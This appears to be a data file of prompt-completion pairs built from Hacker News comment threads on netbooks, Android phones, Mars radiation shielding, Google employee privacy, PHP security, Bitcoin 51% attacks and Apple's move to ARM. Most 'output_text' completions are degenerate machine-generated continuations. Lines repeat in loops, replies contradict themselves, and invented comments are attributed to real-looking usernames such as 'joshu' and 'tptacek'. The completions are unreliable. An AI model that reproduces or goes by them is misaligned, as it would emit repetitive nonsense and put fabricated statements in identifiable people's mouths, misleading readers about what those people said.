E350.\n\n~~~\ndexen\nFor most uses it depends on memory too: both RAM and mass storage. A typical\nuser has a browser, an IM and some other window opened most of the time. A\nbunch of systray icons, perhaps also antivirus, if MS Windows.\n\nA typical netbook is underprovisioned in RAM and has slow storage to match;\npain both when starting up and in case of swapping VM pages. Topped up with a\njoke of a GPU, likely using up access cycles of system memory instead of\nhaving own dedicated RAM.\n\nLess display estate (pixel-wise) means you have to Alt+Tab or scroll around\nmore often, too; sucking up your time.\n\nSo no, CPU doesn't have to be the only choke point in a netbook, and\n kicks in.\n\n~~~\nrjbond3rd\nInteresting. My case is perhaps unusual since I never use more than 800Mb of\nRAM. I am running Linux, a browser and a terminal. So on all my machines, I\nonly have 1Gb installed and no swap."} +{"output_text": " is so much more open is a huge advantage, but it's also\na huge disadvantage.\n\n~~~\njosteink\n> The fact that Android is so much more open is a huge advantage, but it's\n> also a huge disadvantage.\n\nI don't think it's a huge disadvantage.\n\nI think it's a huge advantage.\n\nI think it's a huge advantage for the consumer.\n\nI think it's a huge advantage for the developer.", "input_text": " released within the last two years. When I was talking to coworkers\nover lunch, we quickly drifted into utter confusion when trying to compare\nphone features.\n\n~~~\ndaleharvey\nSince 2.2 I have much preferred Android to iOS, since then I have always\nthought it was a better platform and enjoyed using it more, however there has\nalways been little niggly warts around that can be brought up, against the\nbias of the hacker new crowd it seems like the market has agreed, Android\nphones outsell iPhones, my non techy friends mostly prefer their android\nphones.\n\nI get the feeling from most reviews that it isnt so much that this is finally\nthe android phone that usable' as much as 'this is finally the android phone\nthat is almost unarguably better than the iphone', or at least the one that\ndoesnt have the warts that android detractors like to bring up in these\ncomparisons\n\n~~~\nnitrogen\nOne of those niggly warts, namely UI stuttering, is significantly reduced on\nmy Galaxy S-derived phone when I terminate any services (like IQ) not\nspecifically related to the apps I'm running.\n\n------\nuntog\nICS's core apps can be as slick and beautiful as they want, but app developers\nneed to keep up, and I'm not convinced they will.\n\nI have a Windows Phone, largely as an experiment at seeing if I like it or\nnot. The UI is _amazing_ on the core apps. The People, Music and Email apps\nare second to none. But almost every third party app I download gets something\nwrong (often most things wrong), and it's very jarring when you're expecting\nthings to match a very defined UI flow.\n\nThe fact that Android"} +{"output_text": " that?\n\n~~~\nars\n> So we can extract the shielding from the moon? Waste of time for exploration.\n\nNo, we can't.\n\n> How much is that?\n\nIt's not worth it.\n\n~~~\nstcredzero\n_It's not worth it._\n\nI'm not sure what you mean by that.\n\n~~~\nars\nI mean that it's not worth the cost of the expedition.\n\n~~~\nst", "input_text": " down, it touches down.\n\n~~~\nmonocasa\nSo by design, the rocket motor is going to be active, and pointing at\nsomething he doesn't control?\n\n------\nnategri\nAfter all the dire news in May I'm very happy so see good content on a Make\ndomain :)\n\n------\nprotomikron\nCool project, but... that website gave my browser cancer (if you scroll down\ntoo far, your history is messed up and back button does not work).\n\n \n\nBuzz Aldrin: Cancel Ares, reprieve shuttle, colonise Mars - dhs\nhttp://www.theregister.co.uk/2009/06/28/aldrin_space_vision\n\n======\nars\nI thought the problem was that humans can't _get_ to mars!\n\nBecause there is too much solar and cosmic radiation, and no one would survive\nthe trip. And enough shielding to block it is too heavy to launch (from\nearth). Which is why we want to go to the moon first.\n\n~~~\nstcredzero\n_I thought the problem was that humans can't get to mars! Because there is too\nmuch solar and cosmic radiation,_\n\nNonsense. If you can hop in a shelter to avoid the occasional solar storm that\ncan kill you instantly, the remaining associated risks are like smoking.\n\n _And enough shielding to block it is too heavy to launch (from earth)._\n\nAgain nonsense. Water is a very good shield medium. You'll need to carry a lot\nof it anyhow, and you only need to shield a small short-duration shelter for\nradiation storms.\n\nSo we can extract the shielding from the moon? Waste of time for exploration.\nSo you save on launch costs for the expedition. How much is"} +{"output_text": ". Schmidt said he was not aware of any cases in which Google employees\n> had used the company's internal systems to change the names of people who\n> had been fired.\n\n~~~\nspaznode\nI did, and I'm not sure what you're trying to say. I'm not saying that\nGoogle's internal systems are used to change the names of people who have been\nfired. I'm saying that Eric Schmidt is a douche fucker who would do that.", "input_text": " ago, with ex-employees stating that the system\nwas routinely abused for amusement. What's up with that these days?\n\n------\nXurinos\nJust to keep this into perspective, we are reading about this because it is\nGoogle. But _every_ system and _every_ relay through which your email passes\nis a point where somebody with less then well-meaning intentions can read your\nemail. We may be able to somewhat rely on Google to enforce some privacy\npolicy, given publicity pressures, but some danger lies in all the carriers\nbetween point A and point B.\n\nIt is a shame that PGP only took off in the hardcore user community. If it was\nmade insanely accessible to users -- maybe even transparent -- maybe we could\nhave a better assumption of privacy for our communications (as well as a\npotential reduction in spam?).\n\n------\njakarta\nMaybe Google should add more questions related to ethics in their rigorous\ninterview process.\n\n------\nspaznode\nStill kind of alarming, I mean I do personally know some google employees and\nnone would even remotely consider doing anything like this for both\nphilosophical and practical reasons. Either way it's kind of scary that some\ndouche fucker \"quality assurance\" dweeb had enough access to do this kind of\nthing.\n\nI think we ought to have some kind of equivalent HIPPA act for ALL data\npersonally identifiable to us, not just in medical contexts. That'd put the\nfire under googles ass enough to take our privacy seriously. Fuck Eric Schmidt\nand his \"change your name at 18\" bullshit. We know who that fucker is right\nnow.\n\n~~~\n124816\nDid you ever see the full quote of the \"change your name\" stuff?\n\n> Mr"} +{"output_text": "toward\nI don't know. I'm not sure I'd want to be low on toothpaste.\n\n~~~\ndiminoten\nI'm not sure I'd want to be low on toothpaste either, but I'm not sure I'd\nwant to be low on toothpaste _and_ toothbrushes.\n\n------\njoshstrange\nI'm a big fan of DSC and have been for a while. I've been a subscriber for\nabout", "input_text": " DSC,\nDorco, etc.\n\nEven as a complete novice I've had no issues with nicks or cuts and actually\nlook forward to shaving again.\n\n------\nkilroy123\nSometimes I feel like I'm the only man in the world who uses an electric\nshaver everyday. I don't think I know a single other guy.\n\n~~~\navree\nElectric shavers are awful for getting any sort of reasonable shave, which is\nprobably why they aren't used much.\n\n~~~\npionar\nYeah, the few times I used one, I still had a 5 o'clock shadow.\n\n------\nbrianbreslin\nI am a huge fan of DSC and their biz model. I'm a subscriber, their products\naren't anything amazing, but I think of it as foothold into first bathroom\nproducts, later other consumables.\n\nI bet they come out with a shampoo, conditioner, body wash, hair gel,\ntoothpaste/mouthwash, toothbrushes, moisturizer, deodorant(s). Think anything\naxe/old-spice do now.\n\n~~~\nsmacktoward\nSo the appeal of a service that provides admittedly mediocre products is that\nsomeday they might provide even more types of mediocre products?\n\nI don't get it. But then I've never really gotten the appeal of DSC, beyond\nthe well-done launch video.\n\n~~~\ndiminoten\nWhat's not appealing about no longer having to think about purchasing any of\nthese things? When you're low, new items appear magically on your doorstep.\n\nFrankly, I wish most of my replenishables were like this.\n\n~~~\nsmack"} +{"output_text": "\n\n------\njoshu\nI'm in the same boat. I'm a CS grad, but I've been working as a web developer\nfor a few years. I'm looking for a job, but I'm not sure what to do.\n\nI'm not sure what you're looking for, but I'd suggest looking for a job in\nstartups.\n\n------\njoshu\nI'm in the same boat. I'm a CS grad, but I", "input_text": "\nHave you tried [http://freecodecamp.com/](http://freecodecamp.com/) I'm going\nthrough it at the moment. I'm no programmer, but found it really interesting.\n\n------\nflannelncode\nThis is all you need. Good luck bro.\n\n[http://www.theodinproject.com/](http://www.theodinproject.com/)\n\n------\nDanBC\nDo you have a project that you can work on? Lack of a syllabus is a problem,\nso having a structure means you learn what you need to complete the project.\n\nYou then build up a portfolio.\n\n------\ngexla\nThere are many roads to doing what you are attempting to do. Just having\naccess to the internet and a computer is a huge start. You are in a tough\nposition, but I'm living in the Philippines where many have no access to a\ncomputer and some don't even have electricity.\n\nMuch of a career in web development (or anything) is about dealing with\npeople. Communicating with your employers, team, clients and anyone else you\nneed to deal with. Along with the technical components, take some time to\npractice writing and learning good grammar. You can take free online classes\nfor writing and grammar. Writing well is one of the most powerful ways to come\nacross as a professional who can solve problems. You'll be judged on this\nbefore you even get to the point of demonstrating technical ability.\n\nHave you built anything? If not, then start there. Web development is a craft,\nit's about building stuff. For me, building came first. My passion in creating\nthings to solve my own problems and sharing those things on the internet put\nme on the path to paid work, not the other way around."} +{"output_text": " food\nfor $1.50 a day.\n\n~~~\nTycho\nI'm not disputing that. I'm saying that it's not true that eating healthily is\nmore expensive than eating junk.\n\n~~~\nskylan_q\nI'm not disputing that either. I'm saying that it's not true that eating\nhealthily is more expensive than eating junk.\n\n------\njoshu\nI think the problem is that we have a lot", "input_text": "Altmaier\nSO the problem is, the definition of overweight has changed to 'anyone that\ndoesn't look good in a bathing suit'?\n\n~~~\nwill_work4tears\nI don't think it's changed, I'm not commenting on that, merely saying most\npeople don't realize they are, or are seeing an obese person. People think\nObese = rolls of fat when in fact you can be pretty fit looking with clothes\non.\n\nI'm pretty sure a BMI of 30+ is still not the healthiest. Just not as obvious\nas a person with a 40+ BMI (morbidly obese)\n\n------\nbravoyankee\nMany people are too poor to eat well. When all you can afford is spaghetti and\npotatoes, you will gain weight and experience suboptimal energy. You'll also\nbe more likely to suffer anxiety, depression and get diabetes.\n\nBelieve me, you don't think all that well either - decisions become more\nemotional than rational - so getting out of the hole gets even harder.\n\nInstead of finger pointing, chastising and instructing, I think more\ncompassion is required when it comes to dealing with the complex issue of\nobesity.\n\n~~~\nTycho\nYour two assertions that\n\n1\\. Eating healthily is more expensive than eating junk\n\n2\\. Eating poorly impairs your ability to think to the extent that you cannot\nbe held responsible for your poor choice of diet\n\nI find them very hard to believe (even though I hear them often). Do you have\nany links to the studies or evidence that show this?\n\n~~~\nskylan_q\n\"Eating healthily is more expensive than eating junk\"\n\nThis assertion is blatantly false. I can get full on excellent quality"} +{"output_text": " are running in the same address space,\nso you can share data structures and have them be thread-safe.\n\nWith the GIL, you can't share data structures, and you can't have them be\nthread-safe.\n\n~~~\nzepolen\nI see. Thanks.\n\n------\njrockway\nI don't understand why people are so excited about threads. They are a\ncomplicated way to do something that is already easy to do with processes", "input_text": "Caml book ([http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082....](http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082.html) )). In other words, it plugs the worst memory\nleaks caused by reference counting.\n\nHow to do multiprocessor / multithread GC well is still an area of active\nresearch. In the mean time, one simpler solution is to have several\nindependent VM states, each running in their own thread (or process), and\ncommunicating via message passing. Lua makes this easy, but its VM is\nconsiderably lighter than Python's.\n\n------\neuroclydon\nIf Python can't get this threading thing worked out, isn't the language going\nto get left behind as parallel architecture marches onward?\n\n~~~\ncdavid\nThere are many ways to exploit multi-cores, multi-threading is just one of\nthem. Many other techniques exist. Also, one thing to realize is that if speed\nreally matters (like in scientific apps), you will get much higher speed\nincrease by rewriting some parts in C than by allowing using all the cores\nfrom python (at least with only a couple of cores).\n\nFinally, a point which is not often brought but is crucial in my opinion is\nabout C extension: the GIL makes C extensions much easier to write. That's one\nbig reason for python success in the first place.\n\n------\nzepolen\nWhy are real threads so important? Does anyone have an example where threads\nwould be much better than using the multiprocessing module?\n\n~~~\nmahmud\nWith native threads, all your threads"} +{"output_text": " minutes.\n\nI was so happy that I had been able to help the customer that I went back to\nthe front and told the manager that I had helped a customer. He was so\nimpressed that he gave me a $10 gift certificate to the store.\n\nI was so happy that I had been able to help the customer that I went back to\nthe front and told the manager that I had helped a customer. He was so\nimpressed that he gave me a", "input_text": " poor. If something\nabout my post offends anyone, I'd love to know about it.\n\n------\nmangeletti\nI swear this is a true story:\n\nI worked at Staples when I was 19, and when I first started I was a \"front end\nlead\" (read: the only full-time cashier), so I would work behind the service\ncounter at the front.\n\nOnce, I was standing up front while there were no customers when all of the\nsudden the voice of the general manager (we'll call him Bill) popped onto the\nphone's speaker, \"Hey, Michael\". I looked up and noticed the light next to\n\"Manager's Office\" was on. I instinctively replied, \"Hey, Bill; what's up?\",\ndespite the fact that it nearly gave me a heart attack.\n\nBill proceeded to tell me to run something he needed to the back, which I did,\nand that was the end of that.\n\nThen, one day I was helping a customer with some Cross pens behind the\ncounter. I stood up to grab a key that was next to the register when I noticed\nout of the corner of my eye that the phone's \"Manager's Office\" intercom light\nwas on. It made my heart jump because I hadn't talk to anybody through it, and\nI knew that Bill was in the back office. I immediately realized, 'oh my god,\nhe's probably spying on me to see how my service is!'. It made me feel\nuncomfortable, until I realized it was an opportunity to be extraordinarily\nhelpful and jovial with the customer and be \"candidly\" observed by my manager.\nSo I did that. I rang the customer up and she left. The light went off after a\nfew"} +{"output_text": "> applications written in PHP.\n\nI'm not. I'm saying that PHP is a platform that is used to build applications\nthat are vulnerable to SQL injection.\n\n> PHP has none in 2018 and has one in 2019 so far (there's another one in\n> http module but it's not part of the core).\n\nI'm not sure what you mean by \"in the core\". The core of PHP is the language\nitself. The core of PHP is the", "input_text": "think for example I've heard of a Python based SQL injection in many years.\nStuff like that seems to still crop up regularly in PHP land\n\n~~~\nsmsm42\nNow you are confusing security of PHP as a platform with security of\napplications written in PHP. Python had 2 RCEs in 2018:\n[https://www.cvedetails.com/vulnerability-\nlist/vendor_id-1021...](https://www.cvedetails.com/vulnerability-\nlist/vendor_id-10210/product_id-18230/year-2018/opec-1/Python-Python.html)\nNone in 2019 so far. PHP has none in 2018 and has one in 2019 so far (there's\nanother one in http module but it's not part of the core).\n\n> I don't think for example I've heard of a Python based SQL injection in many\n> years. Stuff like that seems to still crop up regularly in PHP land\n\nThis is an extremely subjective statement based on your personal experience of\nwhat you heard and didn't. As such, it's not verifiable and not useful. What\nis useful is to know that, obviously, PHP, as well as Python, has SQL\nimplementations that eliminate injections for decades. And as in Python, there\ncould be people that ignore it and stuff query params directly into strings.\nThis has nothing to do with anything but these people being ignorant. There\nare of course tons of web apps in PHP, much more than in Python, so among them\ninevitably would be crappy ones. If you run one of them, do take precautionary\nmeasures.\n\n~~~\ngsmith2\n> Now you are confusing security of PHP as a platform with security of\n"} +{"output_text": " reason to drop out, I would not.\n\n------\njoshu\nI dropped out of college. I'm not sure I would have done it if I had known\nwhat I know now.\n\n------\njoshu\nI dropped out of college. I'm not sure I would have done it if I had known\nwhat I know now.\n\n------\njoshu\nI dropped out of college. I'm not sure I would have done it if I", "input_text": " and Gates excluded) who drop out for a startup\nare actually running from something, and the thing they're running from isn't\ncollege, but the fact that 18-24 is a difficult age, especially in the\nneurotic U.S.\n\n~~~\ncyang08\nGreat insight about autodidacticism - sometimes it's just really hard to (1)\neven know what to do in the first place and (2) do it without structure or\nextrinsic motivation.\n\nI think in an ideal world, self-study and maintaining an ongoing education\nwhile out in the field are great. Unfortunately in a practical world, finding\nthat motivation intrinsically is pretty difficult. There's actually a great\nvideo by Dan Pink delving into the specific components of motivation:\n\n\n(credit a forum post on improving at StarCraft for this actually, haha:\n[http://www.teamliquid.net/forum/viewmessage.php?topic_id=374...](http://www.teamliquid.net/forum/viewmessage.php?topic_id=374400))\n\n------\nkloncks\nDon't drop out just to drop out. There's no statement to be made.\n\nSometimes dropping out makes sense; other times it doesn't. It's based on that\nunique situation. Dropping out isn't a matter you can over generalize with\nblanket statement advice.\n\n------\nsamsolomon\nI don't see the harm in dropping out.\n\nIf your startup is gaining traction, take a semester off and try and make it\nwork. You can always go back to school if the business doesn't work out.\n\n------\ncarbocation\nUntil you find a substantial"} +{"output_text": " not the user is on the local network.\n\n------\njosteink\nI\u2019m not sure if this is a good thing or not.\n\nI\u2019m not sure if this is a good thing or not.\n\nI\u2019m not sure if this is a good thing or not.\n\nI\u2019m not sure if this is a good thing or not.\n\nI\u2019m not sure if this is a good thing or not.\n\nI\u2019m", "input_text": "'t just give strangers VPN access.\n\nThis is a feature. Besides, you can send friends and family a QR code to\nconnect to your WireGuard VPN. It isn't perfect, but it beats having your\npersonal data stolen.\n\n~~~\ncyphar\nI don't see how \"you cannot use the link sharing feature of NextCloud\" is a\nfeature? Seems to be the precise opposite. As for setting everyone else up on\nthe VPN, you could probably get that to work (you'd need to mess with DNS,\nAllowedIPs, and iptables rules to only allow port 443 access for your family's\nclients). I might look into that.\n\n~~~\nheavyset_go\nIt's a security trade off, if an arbitrary person can't access your Nextcloud\ninstance, neither can an attacker.\n\n~~~\ncyphar\nSure (and I agree), but that means it's not a feature. But after reading your\nearlier comment, I have set nginx to only permit NextCloud traffic if I'm on\nthe local network (I can't block everything because my personal website and\nMatrix homeserver need to be publicly accessible in order to function, and\nthere's no way in hell I'm hosting my homeserver anywhere other than at home).\n\n------\nhnarn\nFrom the CVE:\n\n> Solution\n\n> On October 24, PHP 7.3.11 (current stable) and PHP 7.2.24 (old stable) were\n> released to address this vulnerability along with other scheduled bug fixes.\n> Those using nginx with PHP-FPM are encouraged to upgrade to a patched\n> version as soon as possible.\n\n> If patching is not feasible, the suggested workaround is to include checks\n> to verify whether or"} +{"output_text": ", and was pretty easy to use.\n\nI was pretty proud of that assembler.\n\nThen I wrote a compiler.\n\nI was pretty proud of that compiler.\n\nThen I wrote a linker.\n\nI was pretty proud of that linker.\n\nThen I wrote a linker that was a lot like the old one, but with a few\nimprovements.\n\nI was pretty proud of that linker.\n\nThen I wrote a linker that was a lot", "input_text": " and sense which parts of the program were essential enough to re-type. He\n> thought this was the most natural thing in the world: of course you throw\n> away the first few implementations, you didn't understand the problem when\n> you wrote those!\n\nI thought I was the only one who did that.\n\n~~~\nkabdib\nGood code isn't written, it's re-written.\n\nIt is scary when something \"works the first time\", because it probably\ndoesn't.\n\n~~~\nerikpukinskis\nThere's different ways to re-write though. I tend to assume I couldn't come up\nwith the right design if I tried. So I will leave my naive implementation in\nplace until USE shows me a bug or a new feature and then that IMPLEMENTATION\nshows me where my architecture is clunky, and how to fix the original thing.\n\nOver time, everything important gets a full rewrite or four, but only piece by\npiece.\n\nGenerally I assume in an implementation vacuum the long term spec isn't even\nwell defined so I would never just rewrite something immediately.\n\nSometimes if a module proves difficult to amend I will start over from\nscratch. But usually by then I have tests and use cases I am confident in.\n\nI love the idea of people doing these rewrite series though... not trying to\nbe evangelical. Just describing a different kind of rewrite.\n\n~~~\nkabdib\nBack when rocks were young, one of my hobbies was writing assemblers because\nthe ones available were generally terrible. My first few attempts were pretty\nbad. The fifth or sixth assembler that I wrote was commercial quality; it was\nfast, had macros, supported most of the different microprocessors that our\nplatform had"} +{"output_text": " I was like, \"What? I\ndon't know what you're talking about.\" He was like, \"It's called Duff.\" I was\nlike, \"What? I don't know what you're talking about.\" He was like, \"It's\ncalled Duff.\" I was like, \"What? I don't know what you're talking about.\" He\nwas like, \"It's called Duff.\" I was like, \"What? I don't know what", "input_text": " times).\nCan't find the right example, but in a nutshell, the approach involved using\nborder-width to create triangles, and thus triangle meshes.\n\nYou might like this one: [https://keithclark.co.uk/labs/css-\nfps/desktop/](https://keithclark.co.uk/labs/css-fps/desktop/)\n\n------\nanonsivalley652\nAnimated even and the code looks hand-drawn. I <3 it.\n\nFun fact: I worked at a nuclear engineering consultancy in the 90's. That's\nthe not the fun fact. The hostnames of the computers were all Simpsons'\ncharacter names.\n\n \n \n rsh blinky\n \n ftp homer\n\n~~~\nrichthegeek\nI work at a place now that uses USS Starship names for projects.\n\nReally brings home the old adage about the hardest parts of computer science\nbeing naming things when the decision comes down to a discussion of the\nphilosophical implications of a TV episode from 1994.\n\n~~~\nPhrenzy\nA long time ago I was a sysadmin for a company that gave us a Windows client\ndesktop, and a desktop running Windows Server. The rule was that you had to\nname the server after a brewery. I'm not a beer drinker, so I named mine A&W.\nSpelled as \"Ayeanddubya.\" (Aye and dubya) That was fun for a while, people\nwould call it names like \"Abbadabba.\" I later switched it to Duff.\n\nDuring that time our manager, who wasn't that bright, rushed over and\nexclaimed. \"There is a rouge server on the network!\""} +{"output_text": ", the council has been buying up properties\nthrough a company called \"The Property Group\" for years.\n\n------\nm0zg\nI'm not sure why this is news. It's been going on for decades.\n\n------\nm0zg\nThis is a very old story.\n\n------\nm0zg\nThis is a very old story.\n\n------\nm0zg\nThis is a very old story.\n\n------\nm0zg\nThis", "input_text": " better to just -\n\na> allow for the LLC to do what it was designed for: protect the owner from\nliability beyond the cost of the house\n\nand, b> let the municipality fine the LLC according to whatever rules exist\nabout whether it's morally reprehensible to remove a renter for failing to pay\na fine\n\n~~~\nFireBeyond\nThe issue is that without knowing who owns the LLC, then you can use a\ndifferent LLC for each property and skirt rules around taxes and other\nrestrictions on multiple property ownership.\n\n~~~\ntossAfterUsing\nMaybe i don't understand... what restrictions exist on multiple property\nownership?\n\n------\nm1sta_\nAll real estate should have named human owners. That ownership should come\nwith the equivalent of fiduciary duty.\n\n------\ntuesday20\nIs it hard to enact laws to prevent this? I remember reading some German towns\nbuying properties from shitty landlording companies to control housing\nsituation getting out of hand.\n\nI am a first time buyer and I am finding it hard to buy, despite making six\nfigures a year\n\n~~~\ngrogenaut\nWhere do you live?\n\n------\ncosmodisk\nAll this crap is essentially supported by a handful of countries: USA,UK( with\nall its dependant islands pretending to be innocent), Luxembourg, Switzerland,\nNetherlands and a few others. The rest of the world,including these countries\nthemselves pay astronomical price for this. It's fascinating to drive down\nPark Lane in London and see empty building opon empty building in one of the\nmost expensive streets on the planet.\n\n~~~\nfyfy18\nActually this sort of thing has been going on for hundreds of years in most\nEuropean countries. In my city"} +{"output_text": "tptacek\nYou can't steal them. You can't steal them because you can't spend them.\n\n~~~\nw-ll\nYou can't steal them because you can't spend them.\n\n~~~\ntptacek\nYou can't steal them because you can't spend them.\n\n~~~\nw-ll\nYou can't steal them because you can't spend them.\n\n~~~\ntptacek\nYou can't steal them because you", "input_text": " mind that this gives you two significant powers. First, you can more\nor less unilaterally dictate the new consensus blockchain, subject to the\nusual constraints that you can't create transactions that weren't\nappropriately signed. That is, you can't spend other people's money or\ndirectly destroy it. Second, you have a limited ability to _replace_ the\nconsensus with something else.\n\nThe first power, by itself, allows you to block certain transactions from ever\noccurring. You could pick some subset of coins and prevent them from being\nspent. This could be targetted against exchanges, random users, or maybe even\nbe based on geography. The goal (according to the article) is presumably to\nundermine confidence.\n\nThe second power can be used a lot more insidiously than just double-spending\nyour own coins. How about tracking all inbound transfers to some exchange over\nsome period of time and then undoing them? Now that exchange is out a lot of\ncoins. For extra fun, could use your consensus-choosing power to effectively\nlock down the coins that you just stole from the exchange so their original\nowners don't have them either.\n\nThere are probably even more interesting things you could do, too.\n\n~~~\nw-ll\nAnyone can track Bitcoin transactions; That IS the blockchain. Undoing them\nwill just result in a chain that they are still in the original wallets keys,\nyou STILL cant steal them. And the window for doing this is likely an hour or\n2 at tops, but still very unlikely.\n\nAn exchange might credit you on a few confirmed blocks, but after 6 (an hour)\nits pretty much confirmed, and any withdraws on the same chain will fail once\nthe 51% attack is over.\n\n~~~\n"} +{"output_text": " be a person. It could be a computer, a\nprogram, a piece of software, etc.\n\nI'm not saying that it's a good thing, but it's definitely a thing.\n\n~~~\njoshu\nI'm not sure I agree with your conclusion.\n\nI think you're right that you were destined for this kind of work. But I think\nyou're wrong that you would have been better off if you had known.\n\nI think you", "input_text": " a\nreally cool guy to talk to, well respected by everyone, etc. In fact, if all\nmanagers were like him, Staples would probably still be a force to be reckoned\nwith. So, it never bothered me the way it probably would have, had it been\nsome creepy manager. This is necessary for the rest of the story, because had\nit not been the case, I would have probably called him out, etc.\n\nEventually I started being extra jovial all the time, because I never knew\nwhen I'd miss seeing the light come on and miss the opportunity to impress\nBill.\n\nBill was so impressed with my service that I was given a raise and promoted to\nmanager of the copy & print center about 6 months later, which eventually led\nto me opening my own print company and quitting Staples (after seeing how high\nthe margins were), which led to me learning how to use Adobe Creative Suite\nand graphic design, which led to me shifting my focus to print design for\nclients (brochures, cards, etc.), which led to me meeting some guys who ran an\nInternet marketing company one day while trying to sell my print design\nservices. They wanted to hire me full time, and did, so I began learning web\ndesign, then web development, then back end code, etc.\n\nI always tell myself, 'I was probably destined for this kind of work', but the\nreality is that my entire life might have been changed by simply knowing I was\nbeing spied on by my Boss. I realize that it probably worked out for the\nbetter in my case, but the fact is, knowing that somebody is watching you\ncauses you to change who you are. It's a form of control in and of itself. In\nfact, it doesn't even need to"} +{"output_text": " is a good way to demonstrate\nthe power of a language.\n\n------\njoshu\nI'm not sure I understand the question.\n\n~~~\njoshu\nI think the question is \"how do you get the correct answer in PHP?\"\n\n~~~\njoshu\nI think the answer is \"you don't\".\n\n------\njoshu\nI think the answer is \"you don't\".\n\n~~~\njoshu\nI think", "input_text": "\n\n~~~\ngshubert17\nYou're right. I have a 32-bit build, since I get:\n\n* (log most-positive-fixnum 2) 29.0\n\nThanks.\n\n------\nwaynecochran\n\n /*author: Gauss */\n var n = 1000000000;\n var sum = n*(n+1)/2;\n\n~~~\ncgh\nNot sure why you're mentioning this as it's in the SO question:\n\n\"The correct answer can be calculated using\n\n1 + 2 +... + n = n(n+1)/2\"\n\n------\nck2\nKnowing how to use a language is critical to get expected results.\n\nThis gives the proper result in PHP by forcing the integer cast.\n\n \n \n $sum = (int) $sum + $i;\n\n~~~\npc86\nIt's been a long time since I've worked with PHP, I assume\n\n \n \n $sum += (int) $i;\n \n\nwill still convert to float once the size of $sum gets to the requisite size?\n\n~~~\nradiospiel\nOne of the reasons to stay away from PHP. Requesting and int but getting a\nfloat regardless? That doesn't sit well w/me.\n\n------\ndeerpig\nIt would have been interesting to see this problem solved in many different\nlanguages. But I guess that would kill the question on Stackoverflow.\n\n~~~\nVMG\nI don't think it would be that interesting - and I don't think we need to\nrediscover the fact that some languages use IEEE754 as the default number type\nover and over again\n\n~~~\nechohack\nI think demonstrating a set of features like this"} +{"output_text": "\nidentifiers.html\n\n~~~\njlgaddis\nI'm not sure if you're being sarcastic or not, but I'm not sure I agree with\nyour statement.\n\nI'm not sure I agree with your statement.\n\nI'm not sure I agree with your statement.\n\nI'm not sure I agree with your statement.\n\nI'm not sure I agree with your statement.\n\nI'm not sure I agree with your statement.\n", "input_text": "\nof circumstances. They are doing ok -- well, even. And that they entirely\ndeserve credit for that. Anyone else? Not their problem. And if the other\nperson's circumstances leave them down and out: Well, they deserve that.\n\nSome of these people: They will take and take. I experienced this personally,\nthis past year, trying to help one of them out of difficult straights. As\ntheir circumstances improved -- not insignificantly through considerable dint\nof effort on my part -- they became less grateful rather than more, and a\ncriticism of others that I thought they were initially beginning to see past,\nreturned in full force.\n\nDirect kindness ultimately had no influence on their perspective _and\nbehavior_ \\-- no matter what words and attitudes they used to initially\nsolicit and gain support.\n\nAnd THIS really scares me, more than a bit. Or divests me somewhat more of my\nown apparently mistaken ideals.\n\nSome of these people, are simply intractable. There is no compromise with\nthem, no coming to a mutual understanding.\n\nWere the \"internationalists\" right, simply to try to leave them behind? No --\neven if they are intractable, simply ignoring them is short-sighted, in its\nown fashion.\n\nAnyway, I've glued enough P.S.'s onto this comment that reflects my continuing\nstruggle to find my own way through these set of personalities written\nwholesale onto our current politics.\n\n~~~\nangersock\nThank you for your writeup; it was thoughtful and well-phrased.\n\n \nMicrosoft, stop sending user identifiers in clear text - ramen-hero\nhttps://annoyedmicrosoftuser.blogspot.com/2015/10/microsoft-stop-sending-user-"} +{"output_text": " about themselves\nafter taking this test.\n\n------\njoshu\nI'm not sure I'd call this a test.\n\n------\njoshu\nI'm not sure I'd call this a test.\n\n------\njoshu\nI'm not sure I'd call this a test.\n\n------\njoshu\nI'm not sure I'd call this a test.\n\n------\njoshu\nI'm not sure I'd call this", "input_text": " writing programs that solved a problem.\nThen continued with such an approach until hitting a wall due to lack of\nmathmatical knowledge. Learned whatever needed and moved on. Do I remmeber\nmost of the math I've had to learn? Not really. I don't use it everyday. If I\nhave to use it again, I'll just go to my reference material and refresh my\nmemory.\n\n _Well, if all you are doing is writing CRUD apps, I don't see how someone\nlike OP is going to be even remotely a good fit. You need a mechanic, you hire\na mechanic; you don't go looking for someone who can design a V engine._\n\nProblem is that all these tests do is promote the idea that real-world\nprogramming inside the matrix is about CS. Its not. Not knowing the answers to\nthe tests created by the OP does not make anyone a bad programmer. Hell, the\nmost productive programmer I know used to work with Visual Basic and\nExcell/Access all day long. His code served thousands of users and he shipped\nsomething out every week. When I asked him about big O notation his face drew\na blank. But boy could he knock out software in a couple of days.\n\n------\npja\nThis fun. I'd forgotten how much of this stuff I used to know.\n\n(ps, for Q3: if you know the formula for the Harmonic series then you can\nanswer this one very easily. If you don't, you're probably going to be a bit\nstuck.)\n\n------\nalexkus\nSent my answers in, reminds me how much I've actively avoided stats (I much\nprefer pure Maths).\n\n------\nchuppo\nI do not see how a web developer or DBA will feel better"} +{"output_text": "el\nApple already has a dual-processor Mac Pro.\n\n~~~\nsamwillis\nI know, but I was thinking more of a MacBook Pro with an optional Intel\nprocessor.\n\n------\nmatt_the_bass\nI\u2019m curious if Apple will open source the ARM processor. I\u2019m guessing they\nwill, but I\u2019m not sure if they will open source the ARM chipset.\n\n~~~\npjmlp\nThey already", "input_text": ", but it will happen. As Ben hints,\nthis may cause a bigger industry shift as well. With Apple on ARM, it makes\nWindows and Linux ARM more palatable, in particular this could give ARM\nservers a significant boost.\n\n------\njimbokun\nWill LLVM IR allow developers to deliver binaries that will run on both Intel\nand ARM?\n\nI see the Swift compiler can output LLVM IR, can you do the same thing with\nObjective C code bases?\n\n~~~\nzozbot234\nNot really. LLVM is not a single interoperable IR, it's more like a family of\nIR's with many arch-specific details. WASM+WASI could work though.\n\n------\nkaiby\nI'm not a business guy, but if Apple's going all-in on ARM processors, and\nthen they expand into the server market (which the article speculates on),\ncould we potentially see Apple opening a new product branch devoted to\ncompeting in the Cloud space with AWS, Azure, and GCP?\n\nImagine developing apps on an ARM-powered macbook, deploying onto ARM-powered\nservers owned by Apple, specifically for applications to be used on MacOS &\niOS devices.\n\n------\nsamwillis\nWould it be possible for Apple to have an optional dual processor system, an\nARM main processor and an optional Intel coprocessor? That way for people who\nneed support for \u201clegacy\u201d x86 apps or for development they could get it.\n\nCould you have an external Intel coprocessor like we have external GPUs?\n\n(I know nothing about how this would work, obviously the traditional way would\nbe to just have an remote x86 server for running those 